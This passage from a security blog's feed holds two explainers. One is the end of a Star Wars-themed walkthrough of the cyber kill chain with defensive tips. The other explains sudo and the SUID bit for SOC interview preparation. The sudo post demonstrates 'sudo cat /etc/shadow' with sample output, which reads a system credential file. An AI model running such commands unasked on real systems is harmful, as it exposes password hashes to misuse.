Figure 1 - Princess Leia storing the stolen data into the R2D2</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_BuS1"><p>R2D2 managed to escape the controlled airship undetected due to the inability of the Empire to detect non-organic lifeforms. Given the existence of other lifeforms such as droids, the Empire needs to revisit their policies and procedures and incorporate new detection methods for all types of lifeforms.
Furthermore, any critical technical documentation that could expose flaws in the system must have been encrypted using a Force Resistant encryption algorithm to ensure the confidentiality of data.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-weaponization">2. Weaponization<a href="https://ant6581.gitlab.io/blog/cyber-star-wars/#2-weaponization" class="hash-link" aria-label="Direct link to 2. Weaponization" title="Direct link to 2. Weaponization" translate="no">​</a></h3>
<p>In this phase, the attacker focuses on developing the necessary tools to exploit the identified vulnerabilities.</p>
<p>The Rebel Group devised a strategy to exploit the discovered weakness of the Death Star.
<img decoding="async" loading="lazy" alt="Strategy" src="https://ant6581.gitlab.io/assets/images/Strategy-5f6e36ec94c6b254b74796f266378a87.jpg" width="1440" height="603" class="img_ev3q">
Figure 2 - The rebel group developing their attack strategy</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_BuS1"><p>As the adversaries continue to develop their strategies and toolsets, it is essential for us to maintain constant vigilance. This involves proactively developing our playbooks, thoroughly researching our own infrastructure, and enhancing our Threat Intelligence capability.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-delivery">3. Delivery<a href="https://ant6581.gitlab.io/blog/cyber-star-wars/#3-delivery" class="hash-link" aria-label="Direct link to 3. Delivery" title="Direct link to 3. Delivery" translate="no">​</a></h3>
<p>In this phase the attacker transmits the weapon to the target.</p>
<p>To execute the attack on the DS-1, the Rebel Group organized a fleet of starfighters comprising X-Wings and Y-Wings. These starfighters were equipped with the required proton torpedoes to carry out the mission successfully.
<img decoding="async" loading="lazy" alt="Impersonation" src="https://ant6581.gitlab.io/assets/images/Impersonation-314956c6381c6e8fbec70ff9f730446d.jpg" width="1440" height="603" class="img_ev3q">
Figure 3 - Act of impersonation by the adversaries</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_BuS1"><p>To enhance security awareness and prepare personnel for such attacks, it is important to conduct regular phishing awareness campaigns. These campaigns help educate employees about the risks associated with phishing and train them to identify and report suspicious emails or messages effectively.</p></div></div>
<p>In addition, deploying an intrusion prevention system (IPS) with up-to-date rules can help provide timely alerts and block any unauthorized access attempts by the X-Wings and Y-Wings in the controlled perimeter.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-exploitation-and-installation">4. Exploitation and Installation<a href="https://ant6581.gitlab.io/blog/cyber-star-wars/#4-exploitation-and-installation" class="hash-link" aria-label="Direct link to 4. Exploitation and Installation" title="Direct link to 4. Exploitation and Installation" translate="no">​</a></h3>
<p>This phase refers to the adversary's lateral movement through the defense forces of the Empire. This phase involves bypassing and evading the Empire's defenses to reach the intended target and strategically placing the starfighters in the optimal position to exploit the vulnerability and launch the attack.</p>
<p><img decoding="async" loading="lazy" alt="Hacking" src="https://ant6581.gitlab.io/assets/images/Hacking-da802798e3fa619df53535423b4e83ba.jpg" width="2880" height="1202" class="img_ev3q">
Figure 4 - R2D2 hacking the infrastructure of the Empire</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_BuS1"><p>To enhance network security, it is recommended to deploy network access control (NAC) solutions. NAC solutions help in restricting unauthorized devices from accessing the network. By implementing NAC, organizations can enforce policies that ensure only authorized and compliant devices are allowed to connect to the network. This helps prevent potential threats posed by unauthorized or compromised devices and mitigates the risk of unauthorized access.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-command-and-control">5. Command and Control<a href="https://ant6581.gitlab.io/blog/cyber-star-wars/#5-command-and-control" class="hash-link" aria-label="Direct link to 5. Command and Control" title="Direct link to 5. Command and Control" translate="no">​</a></h3>
<p>The attacker establishes communication channels between their infrastructure and the compromised system to maintain control, receive instructions, and exfiltrate stolen data. Similarly, during the battle, the leaders of the Rebel Group maintained communication with their pilots, providing guidance and coordinating the attack. Effective communication channels between the adversaries and their forces play a critical role in executing their strategies, ensuring effective coordination maximizing their chances of success.</p>
<p><img decoding="async" loading="lazy" alt="C2C" src="https://ant6581.gitlab.io/assets/images/C2C-3f03333d03bc29dc48a2d3dab38143d5.jpg" width="2880" height="1202" class="img_ev3q">
Figure 5 - Command &amp; Control of APT-303 from inside</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_BuS1"><p>Continuous monitoring and rapid response strategies are crucial to prevent attackers from achieving their end goals.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="6-actions-on-objectives">6. Actions on Objectives<a href="https://ant6581.gitlab.io/blog/cyber-star-wars/#6-actions-on-objectives" class="hash-link" aria-label="Direct link to 6. Actions on Objectives" title="Direct link to 6. Actions on Objectives" translate="no">​</a></h3>
<p>In this final phase, the attacker executes their intended objectives, which may vary depending on their motives.</p>
<p>Luke Skywalker, guided by the Force, fired the proton torpedoes into the thermal exhaust port. The torpedoes traveled down to the main reactor, initiating a chain reaction that ultimately resulted in the destruction of the Death Star.
<img decoding="async" loading="lazy" alt="Death_Star" src="https://ant6581.gitlab.io/assets/images/Death_Star-ff240e46c977cf7904597d39865f96c4.jpg" width="2880" height="1202" class="img_ev3q">
Figure 6 - Escape of Luke Skywalker from DS-1 before it's destruction</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_BuS1"><p>Fix the weakness by isolating the thermal exhaust port from the reactor in order to mitigate the chain reaction.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://ant6581.gitlab.io/blog/cyber-star-wars/#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion" translate="no">​</a></h2>
<p>Despite the Empire's vast resources, including numerous scientists, engineers, and disciplined troopers, the Battle of Yavin resulted in a loss for the Empire, with the DS-1 being destroyed along with a significant number of personnel.</p>]]></content>
        <category label="star wars" term="star wars"/>
        <category label="cyber kill chain" term="cyber kill chain"/>
        <category label="interview" term="interview"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Sudo explained]]></title>
        <id>https://ant6581.gitlab.io/blog/sudo-explained/</id>
        <link href="https://ant6581.gitlab.io/blog/sudo-explained/"/>
        <updated>2023-11-01T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[What is sudo and how does it work?]]></summary>
        <content type="html"><![CDATA[<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="preface">Preface<a href="https://ant6581.gitlab.io/blog/sudo-explained/#preface" class="hash-link" aria-label="Direct link to Preface" title="Direct link to Preface" translate="no">​</a></h2>
<p>At some point of my career, I wanted to land a job as a Junior SOC Engineer. To my surprise, I found myself struggling with technical interviews, even when asked relatively straightforward questions.</p>
<p>For instance, one question was, <strong>"What is sudo and how does it work?"</strong></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="sudo-in-simple-words"><code>sudo</code> in simple words<a href="https://ant6581.gitlab.io/blog/sudo-explained/#sudo-in-simple-words" class="hash-link" aria-label="Direct link to sudo-in-simple-words" title="Direct link to sudo-in-simple-words" translate="no">​</a></h2>
<p>Apparently, anyone who has worked with Linux has used sudo. This program temporarily elevates a user's privileges to execute specific commands by validating the user's permissions in the <code>sudoers</code> file.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-definition">The definition<a href="https://ant6581.gitlab.io/blog/sudo-explained/#the-definition" class="hash-link" aria-label="Direct link to The definition" title="Direct link to The definition" translate="no">​</a></h3>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>info</div><div class="admonitionContent_BuS1"><p>Sudo (su “do”) allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments. The basic philosophy is to give as few privileges as possible but still allow people to get their work done.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="example-of-use">Example of use<a href="https://ant6581.gitlab.io/blog/sudo-explained/#example-of-use" class="hash-link" aria-label="Direct link to Example of use" title="Direct link to Example of use" translate="no">​</a></h3>
<p>Ordinary users cannot read the file <code>/etc/shadow</code>. Attempting to view it without <em>sudo</em> will result in a permission error:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">$ </span><span class="token function" style="color:#d73a49">cat</span><span class="token plain"> /etc/shadow</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">cat: /etc/shadow: Permission denied</span><br></div></code></pre></div></div>
<p>Using <em>sudo</em> (assuming that this user is in the <em>sudoers</em> file) can grant the user permission to execute this command:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">$ </span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">cat</span><span class="token plain"> /etc/shadow</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">sudo</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> password </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> user:</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">root::18295:0:99999:7:::</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">daemon::18295:0:99999:7:::</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">bin:*:18295:0:99999:7:::</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">.</span><br></div></code></pre></div></div>
<p>Now you have been granted the appropriate permissions and you can view the <code>/etc/shadow</code> file. But wait, what exactly just happened?</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="sudo-command-in-more-depth"><code>sudo</code> command in more depth<a href="https://ant6581.gitlab.io/blog/sudo-explained/#sudo-command-in-more-depth" class="hash-link" aria-label="Direct link to sudo-command-in-more-depth" title="Direct link to sudo-command-in-more-depth" translate="no">​</a></h2>
<p>Here are the main steps that sudo as a program does:</p>
<ol>
<li class=""><strong>Session Cache</strong>: Checks for cached credentials for already open sudo session.</li>
<li class=""><strong>Password Prompt</strong>: Requests user's password if not found in cache previously.</li>
<li class=""><strong>Authentication</strong>: Uses system's PAM (Pluggable Authentication Modules) to verify user's password.</li>
<li class=""><strong>Privilege Check</strong>: Checks <em>sudoers</em> file for permissions.</li>
<li class=""><strong>Command Execution</strong>: Runs command if authorized.</li>
<li class=""><strong>Logging</strong>: Records the event.</li>
</ol>
<p>There's a catch here: How does <em>sudo</em> checked the <code>/etc/sudoers</code> file, given that only root has the permissions to read this file??</p>
<p>Here comes the SUID bit.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-power-of-the-suid-bit">The Power of the SUID Bit<a href="https://ant6581.gitlab.io/blog/sudo-explained/#the-power-of-the-suid-bit" class="hash-link" aria-label="Direct link to The Power of the SUID Bit" title="Direct link to The Power of the SUID Bit" translate="no">​</a></h3>
<p>When you look at <em>sudo</em>'s binary file permissions, you'll see:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">$ </span><span class="token function" style="color:#d73a49">ls</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-l</span><span class="token plain"> /usr/bin/sudo</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">-rwsr-xr-x </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> root root </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">size</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">date</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> usr/bin/sudo</span><br></div></code></pre></div></div>
<p>That curious '<code>s</code>' is the SUID (Set User ID) bit. With this flag in permissions, a program runs with privileges of its owner regardless of the invoking user. In this respect, sudo is always executed by root and therefore can access the protected files such <code>/etc/sudoers</code> or <code>/etc/shadow</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="did-you-know">Did you know?<a href="https://ant6581.gitlab.io/blog/sudo-explained/#did-you-know" class="hash-link" aria-label="Direct link to Did you know?" title="Direct link to Did you know?" translate="no">​</a></h3>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_BuS1"><p><code>sudo</code> is not a proprietary OS utility; it's an open-source and continuously updated program. A look at its repository reveals consistent updates, under the dedicated supervision of Todd C. Miller. As of now, the latest stable version is <code>1.9.17p2</code>, released on <code>July 26, 2025</code>. More info on the <a href="https://www.sudo.ws/repos/sudo" target="_blank" rel="noopener noreferrer" class="">official site</a>.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="logging-for-sudo">Logging for sudo<a href="https://ant6581.gitlab.io/blog/sudo-explained/#logging-for-sudo" class="hash-link" aria-label="Direct link to Logging for sudo" title="Direct link to Logging for sudo" translate="no">​</a></h3>
<p>Every time <em>sudo</em> is invoked, it leaves a trail. These logs provide valuable insights, especially when auditing system access or investigating potential breaches. For Debian/Ubuntu you can see the logs in <code>/var/log/auth.log</code> file. To filter out the noise, use the <em>grep</em> command:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> /var/log/auth.log</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="in-conclusion">In Conclusion<a href="https://ant6581.gitlab.io/blog/sudo-explained/#in-conclusion" class="hash-link" aria-label="Direct link to In Conclusion" title="Direct link to In Conclusion" translate="no">​</a></h2>
<p>When preparing for a SOC or Cyber Security Engineer interview, understand that <em>sudo</em> is a <em>Set User ID</em> binary program that is always executed by root user.</p>
<p>Essential practices include:</p>
<ol>
<li class="">Control the <em>sudoers</em> file to ensure it follows the principle of least privilege.</li>
<li class="">Limit user commands in <em>sudoers</em> to minimize potential damage in case some of your accounts get compromised.</li>
<li class="">Consider monitoring <em>sudo</em> logs.</li>
<li class="">Have an incident response plan in case of <em>sudo</em> misuse or compromise.</li>
<li class="">Keep <em>sudo</em> updated to protect against known vulnerabilities.</li>
</ol>]]></content>
        <category label="linux" term="linux"/>
        <category label="permissions" term="permissions"/>
        <category label="interview" term="interview"/>
    </entry>
</feed>